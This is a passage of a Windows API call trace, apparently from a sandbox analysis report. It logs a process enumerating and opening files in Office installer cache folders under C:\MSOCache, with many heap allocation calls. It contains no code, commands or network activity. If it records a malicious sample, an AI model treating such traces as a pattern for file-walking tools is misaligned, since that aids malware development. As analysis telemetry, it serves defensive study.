nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0142.147] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.147] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.147] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.147] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.147] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.147] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.147] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.147] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.147] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.147] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.147] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.147] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.147] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9849a0 [0142.147] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98b6a8 [0142.147] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.147] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0142.147] GetLastError () returned 0x12 [0142.147] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b38 [0142.147] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0142.147] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.148] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0142.148] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0142.148] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0142.148] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0142.148] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0142.148] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0142.148] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0142.148] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="")) returned 1 [0142.148] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="")) returned 1 [0142.148] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0142.148] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0142.148] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.148] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0142.148] GetLastError () returned 0x12 [0142.148] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989bd0) returned 1 [0142.148] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0142.149] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989cd8) returned 1 [0142.149] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989ac8) returned 1 [0142.149] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0142.149] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.149] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.191] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0142.192] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0142.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98d690 [0142.192] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98d690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x98d690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0142.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98d690) returned 1 [0142.192] NtClose (Handle=0x198) returned 0x0 [0142.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0142.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989ac8 [0142.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989cd8 [0142.192] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b38 [0142.193] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.194] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0142.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989bd0 [0142.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0142.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x9849c0 [0142.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98b7b0 [0142.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.194] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0142.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d6a8 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98b8b8 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x180) returned 0x9839e0 [0142.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x987648) returned 1 [0142.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.195] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.195] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.195] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d6c8 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98b9c0 [0142.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.195] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.196] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d6e8 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98bac8 [0142.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.196] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.196] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d708 [0142.196] RtlAllocateHeap (HeapHandle=0xa90000, 